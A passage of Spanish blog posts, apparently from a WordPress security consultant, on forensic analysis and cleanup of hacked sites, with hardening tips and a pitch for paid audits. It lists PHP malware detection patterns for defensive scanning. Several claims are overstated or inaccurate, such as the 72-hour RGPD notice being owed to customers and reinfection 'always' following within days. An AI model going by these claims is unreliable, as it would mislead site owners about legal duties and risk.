    Deshabilitar edición de archivos: Añade a wp-config.php: define('DISALLOW_FILE_EDIT', true);

    Cambiar prefijo de tablas: Si la base de datos aún usa «wp_», cambio a algo como «xyz_». Muchos exploits apuntan a wp_users de forma automática.

    Proteger wp-config.php y .htaccess: Permisos 644, no 755. Considera moverlos fuera de web root si es posible.

    Limitar intentos de login: Con Wordfence o similar, bloquea después de 5 intentos fallidos en 5 minutos.

    Auditorías regulares: Scans mensuales con Wordfence CLI o MalCare que te alertan de cambios sospechosos.

    Conclusión: la trampa del «ya está limpio»

    Los atacantes saben que una limpieza manual te da una falsa sensación de seguridad. Crees que lo peor pasó, que el sitio está salvado. Pero ellos ya han plantado las semillas de la próxima infección. Una gota de malware escondida en la base de datos, un hook de WordPress en la tabla de opciones, un archivo .htaccess modificado en el servidor: cualquiera de esos es suficiente para tener acceso total de nuevo en una semana.

    Lo que recomiendo siempre es este enfoque: si tu sitio ha sido comprometido una vez, fue porque había vulnerabilidades (desactualizaciones, contraseñas débiles, plugins nulled). Una limpieza que no cierra esas puertas solo compra tiempo. Necesitas una auditoría profesional que identifique cómo entraron, limpie completamente, y fortifique contra futuras intrusiones.

    Si tu WordPress o PrestaShop ha mostrado signos de malware, no intentes una limpieza manual. Los atacantes son profesionales. Ellos cuentan con eso. Contacta conmigo para una auditoría de seguridad profesional que elimine la infección de raíz y cierre todas las puertas traseras que dejaron abierta.

  • Por qué algunos hackeos WordPress requieren análisis forense profesional obligatorio

    Por qué algunos hackeos WordPress requieren análisis forense profesional obligatorio

    Por qué algunos hackeos WordPress requieren análisis forense profesional obligatorio

    Cuando analizo un sitio WordPress comprometido, la mayoría de propietarios creen que basta con cambiar contraseñas, actualizar plugins y limpiar algunos archivos sospechosos. La realidad es mucho más compleja. Existen hackeos que exigen un análisis forense profesional si quieres recuperar tu sitio de forma segura y evitar que vuelva a comprometerse en cuestión de horas.

    En mi experiencia trabajando con cientos de sitios infectados, he visto cómo limpiezas superficiales dejan backdoors dormidos, certificados SSL comprometidos, y cambios profundos en la base de datos que se reactivan cuando el propietario baja la guardia. Te explico cuándo necesitas análisis forense obligatoriamente y por qué ignorarlo es un riesgo crítico.

    Qué es un análisis forense en WordPress y cuándo es obligatorio

    El análisis forense digital es la investigación sistemática de un sistema comprometido para identificar cómo entró el atacante, qué modificó, cuándo actuó, y qué evidencia dejó. No es lo mismo que una limpieza rápida.

    Es obligatorio cuando:

    • Se detecta un backdoor persistente o múltiples puntos de entrada: Si encuentro webshells en carpetas insospechadas, archivos .htaccess inyectados, o funciones de plugin modificadas, necesito rastrear toda la cadena de compromisos.
    • El sitio fue comprometido varias veces en poco tiempo: Si tu WordPress ha sido hackeado 2-3 veces en 6 meses, hay una vulnerabilidad raíz que una limpieza simple no encontrará.
    • Se detecta robo de datos (skimmers Magecart, credenciales, información de clientes): Aquí entra la obligación legal (AEPD, RGPD). Necesitas documentar exactamente qué se robó y cuándo, no es opcional.
    • El malware está embedido profundamente en la base de datos: Inyecciones en serialized options, tablas de usuarios modificadas, o código en postmeta requieren análisis granular.
    • Hay sospecha de acceso administrativo comprometido a largo plazo: Si el atacante tuvo credenciales válidas semanas o meses, necesito auditar logs, cambios de contenido, y modificaciones de permisos.
    • El malware es un cryptominero o ransomware: Estos requieren análisis de red, logs del servidor, y cadena de custodia forense para eventuales denuncias.

    Vectores de ataque que exigen análisis forense obligatorio

    No todos los hackeos son iguales. Algunos vectores de ataque son tan insidiosos que limpiar sin análisis forense es prácticamente inútil.

    Backdoors persistentes y webshells multimodulares

    En mi análisis de sitios comprometidos, los backdoors modernos no son un solo archivo. Son ecosistemas. Encontré backdoors que se distribuían en:

    • Archivos functions.php modificados (difícil de detectar porque el tema también tiene ese archivo).
    • Plugins «ocultos» en carpetas con nombres legítimos (wp-content/plugins/akismet-update/ que en realidad es malware).
    • Hooks inyectados directamente en la base de datos en la tabla wp_options, que se regeneran automáticamente si eliminas el archivo original.
    • Archivos .htaccess que redirigen a backdoors en otros servidores.

    Un análisis forense identifica todos estos puntos simultáneamente. Una limpieza manual desactiva uno y el atacante entra de nuevo por otro en 48 horas.

    Inyección SQL y modificación de base de datos

    Cuando un atacante obtiene acceso a la base de datos WordPress, hace cosas que no se ven a simple vista:

    • Añade usuarios administrativos «fantasma» con nombres como «wp_admin» o «support» que parecen legítimos.
    • Modifica la tabla wp_postmeta para inyectar código en todos los posts mediante serialized data.
    • Cambia wp_options para insertar URLs de redirección o cargar código remoto.
    • Altera timestamps en wp_users para que el último acceso parezca antiguo.

    Detectar esto requiere comparar dumps de base de datos, analizar registros de queries, y entender patrones de serialización de PHP. No puedes hacerlo con un plugin de seguridad.

    Malware Magecart y skimmers de tarjetas de crédito

    Si tu WordPress tiene una tienda WooCommerce comprometida, el riesgo no es solo técnico, es legal. Un skimmer de tarjetas Magecart inyecta código JavaScript en la página de checkout que captura datos de tarjetas en tiempo real.

    El análisis forense aquí es obligatorio porque:

    • Necesitas documentar exactamente cuándo fue inyectado el código (fecha/hora del primer acceso).
    • Debes calcular cuántas transacciones fueron potencialmente comprometidas.
    • Tienes obligación legal de notificar a clientes afectados dentro de 72 horas (RGPD).
    • Las aseguradoras de fraude exigen reportes forenses para cobrar reclamaciones.

    Sin análisis forense profesional, no tienes pruebas legales de nada de esto.

    Acceso administrativo comprometido a largo plazo

    Uno de los hackeos más peligrosos es cuando un atacante obtiene credenciales de administrador WordPress (por brute force contra wp-login, por robo de datos de un hosting anterior, o por plugin comprometido) y accede durante semanas sin que nadie lo note.

    Cuando finalmente lo descubres, necesitas saber:

    • ¿Desde cuándo tuvo acceso?
    • ¿Qué publicaciones, páginas o usuarios modificó?
    • ¿Descargó backups o bases de datos completas?
    • ¿Instaló plugins maliciosos «legalmente» desde el panel de admin?
    • ¿Cambió configuraciones de seguridad, protecciones o salts?

    Responder esto requiere auditar logs del servidor (access.log, error.log), revisar el historial de revisiones de WordPress, analizar cambios en wp-config.php, y comparar timestamps de archivos. Es investigación forense pura.

    Cryptominers y consumo anómalo de recursos

    Un sitio que de repente consume el 100% de CPU, tiene procesos PHP activos sin razón aparente, o recibe facturas de hosting con cargos por «overuse», probablemente está infectado con un cryptominero.

    El análisis forense es obligatorio porque:

    • El malware se regenera automáticamente si no eliminas TODOS sus puntos de entrada.
    • Necesitas identificar la cadena de ejecución: cómo se inicia el proceso, dónde está el payload, cómo se mantiene persistente.
    • Los cryptominers modernos usan ofuscación JavaScript, base64 encriptado, y lógica de anti-análisis.

    Sin decodificar y analizar el código malicioso, estarás limpiando síntomas, no la causa.

    Cómo se realiza un análisis forense profesional WordPress

    No es magia, pero requiere metodología y herramientas específicas.

    Fase 1: Aislamiento y captura de evidencia

    Lo primero que hago es:

    • Crear un snapshot del servidor (máquina virtual o copia exacta de archivos y base de datos).
    • Documentar el estado actual: logs, permisos de archivos, procesos activos, conexiones de red.
    • Generar hash SHA256 de todos los archivos del sitio (para probar que no fueron modificados durante el análisis).
    • Exportar logs del hosting: access.log, error.log, logs de FTP/SSH, logs de base de datos si están disponibles.

    Todo esto debe hacerse antes de cualquier limpieza, porque una vez que empiezas a eliminar archivos, pierdes evidencia.

    Fase 2: Análisis de archivos y detectación de malware

    Uso herramientas como Wordfence CLI y comparación manual de código:

    • Comparo archivos WordPress originales (descargados de wordpress.org) con los del sitio infectado.
    • Analizo plugins y temas desactualizados para identificar vulnerabilidades conocidas (CVE).
    • Busco patrones de código malicioso: eval(), base64_decode(), gzuncompress(), @fopen(), preg_replace() con /e modifier (deprecated pero usado en malware antiguo).
    • Reviso .htaccess, wp-config.php, y archivo index.php para inyecciones.
    • Subo archivos sospechosos a VirusTotal para análisis multi-antivirus.

    Fase 3: Análisis de base de datos

    Aquí es donde muchas infecciones se esconden:

    • Busco usuarios «fantasma» con roles de administrador añadidos recientemente.
    • Analizo wp_postmeta y wp_options con serialized data, buscando patrones base64 o hex que no deberían estar.
    • Reviso la tabla wp_usermeta para permisos anómalos.
    • Busco posts programados para fechas futuras o borradores con contenido malicioso.
    • Comparo permisos de archivos y propietarios (owner) con lo que debería ser (www-data o el usuario del hosting).

    Fase 4: Análisis de logs y cadena de compromiso

    Los logs del servidor cuentan la historia del ataque:

    • Busco peticiones POST anómalas a wp-login.php (brute force), wp-admin/admin-ajax.php (inyección RFI/LFI), o /wp-content/uploads/ (carga de archivos).
    • Identifico la primera petición exitosa: qué IP la originó, qué User-Agent usó, qué parámetros enviaba.
    • Rastreo cambios de archivos usando timestamps y logs de FTP/SFTP si están disponibles.
    • Busco configuraciones de servidor anómalas: php.ini modifications, permisos de carpetas incorrectos, procesos ejecutándose como usuario incorrecto.

    Con esto, documento exactamente cuándo entró el atacante y qué hizo.

    Fase 5: Cálculo de impacto y conformidad legal

    Esto es crítico si tu WordPress es de comercio electrónico o maneja datos personales:

    • ¿Fue comprometida información de clientes (nombres, emails, direcciones, datos de pago)?
    • ¿Cuántos registros potencialmente se robaron?
    • ¿En qué fecha exacta fue el compromiso?
    • ¿Hay obligación de notificar a la AEPD o a clientes?

    Este análisis es obligatorio para cumplir normativa AEPD y RGPD.

    Por qué una limpieza superficial siempre falla

    He visto cientos de clientes que intentan limpiar sus sitios solos o contratan servicios baratos que «garantizan» remover malware en 24 horas. El resultado es siempre el mismo: reinfección en 48-72 horas.

    ¿Por qué? Porque sin análisis forense, no identificas:

    • La vulnerabilidad raíz: Si fue brute force, plugin desactualizado, o credenciales comprometidas, seguirá siendo vulnerable.
    • Todos los puntos de entrada: El atacante siempre deja múltiples backdoors. Si eliminas uno, entra por otro.
    • El código ofuscado o hibernando: Malware moderno se desactiva durante análisis de seguridad y se activa cuando bajas la guardia.
    • Cambios en configuración profunda: Si el atacante cambió salts, prefijo de tablas, o permisos de archivos, una limpieza simple los deja tal cual.

    El análisis forense identifica todo esto. Es el único camino para una limpieza real y permanente.

    Herramientas profesionales que uso en análisis forense

    No basta con usar un plugin de seguridad. En mi análisis forense uso:

    • Wordfence CLI: Análisis de malware sin interfaz gráfica, ideal para servidores.
    • WP-CLI: Auditoría de usuarios, posts, plugins y temas desde línea de comandos.
    • MalCare: Análisis heurístico de código malicioso y firewall de aplicación.
    • Sucuri SiteCheck: Escaneo externo de URLs y detección de malware conocido.
    • Herramientas de análisis de logs: grep, awk, herramientas propias para parsear access.log y error.log.
    • PHP Deobfuscator: Para decodificar código ofuscado base64, hex, gzip.
    • String analysis: Buscar patrones con regex en toda la base de datos.

    Usadas en conjunto y con criterio humano, estas herramientas revelan la verdad del compromiso.

    Tiempo y costo: por qué es rentable invertir en análisis forense

    Un análisis forense completo en un sitio de mediano a gran tamaño puede tomar 8-16 horas de trabajo especializado. Cuesta más que una «limpieza rápida», es cierto.

    Pero considera el costo real de no hacerlo:

    • Reinfecciones recurrentes: cada reinfección cost tiempo, dinero en servicios de emergencia, y pérdida de confianza de clientes.
    • Penalización SEO: Google marca sitios comprometidos. Un análisis forense permite documentar cuándo fue el compromiso y agiliza la desinfección ante Google.
    • Multas RGPD: Si tu sitio robo datos y no tienes análisis forense que lo documente, la AEPD puede multar hasta 20 millones de euros.
    • Pérdida de clientes: Clientes que descubren que su información fue robada de tu tienda online generan cargos de tarjeta, reclamaciones, daño reputacional.

    Un análisis forense cuesta entre 1.000 y 5.000 euros. Prevenir una sola multa RGPD vale cientos de miles. Es simple matemática de riesgo.

    Cómo proteger tu WordPress para evitar compromisos que exijan análisis forense

    Una vez limpios y analizados, aquí está el hardening que recomiendo siempre:

    • Cambiar el prefijo de tablas (wp_ por algo único) y el usuario de base de datos.
    • Deshabilitar edición de archivos de plugins/temas en wp-config.php: define(‘DISALLOW_FILE_EDIT’, true);
    • Proteger wp-config.php con reglas .htaccess específicas.
    • Limitar intentos de login a 5 intentos cada 15 minutos.
    • Implementar 2FA (autenticación de dos factores) en todas las cuentas administrativas.
    • Eliminar usuarios por defecto (admin) y renombrar con nombres no estándar.
    • Actualizar WordPress, plugins y temas cada semana (automatizar con OWASP guidelines).
    • Usar certificado SSL/TLS válido (no autofirmado).
    • Implementar Content Security Policy (CSP) para prevenir inyecciones.
    • Backups automatizados diarios, almacenados fuera del servidor (bucket S3, FTP remoto).
    • Monitoreo 24/7 de cambios de archivos, logins anómalos, y tráfico de red.

    Esto no es opcional. Es la diferencia entre un sitio que puede ser comprometido fácilmente y uno que requeriría meses de trabajo dirigido para vulnerar.

    Cuándo contactar un especialista en análisis forense WordPress

    Si tu sitio muestra cualquiera de estas señales, no esperes:

    • Malware detectado por Google Search Console o Sucuri.
    • Reinfecciones recurrentes tras limpiezas anteriores.
    • Consumo anómalo de CPU, memoria, o ancho de banda.
    • URLs raras en los logs del servidor que no son tuyas.
    • Cambios en archivos sin explicación (permisos, timestamps).
    • Pérdida de datos o cuentas de usuario «fantasma» en la base de datos.
    • Sospechas de robo de datos de clientes (skimmers, formularios modificados).

    Cada hora que esperas, el atacante puede estar exfiltrando datos, instalando más backdoors, o usando tu servidor para atacar a otros sitios.

    En ManuelFolgar.com realizamos análisis forense completos con documentación legal, reporte detallado, y limpieza verificada. Si necesitas ayuda profesional, no dudes en contactarnos para una auditoría. Podemos analizar tu sitio, identificar el compromiso exacto, y entregarte un reporte que uses para cumplir obligaciones legales.

    La seguridad WordPress no es un lujo. Es un requisito operacional, legal, y de negocio. Invierte en análisis forense cuando lo necesites. Tu sitio, tus clientes, y tu paz mental te lo agradecerán.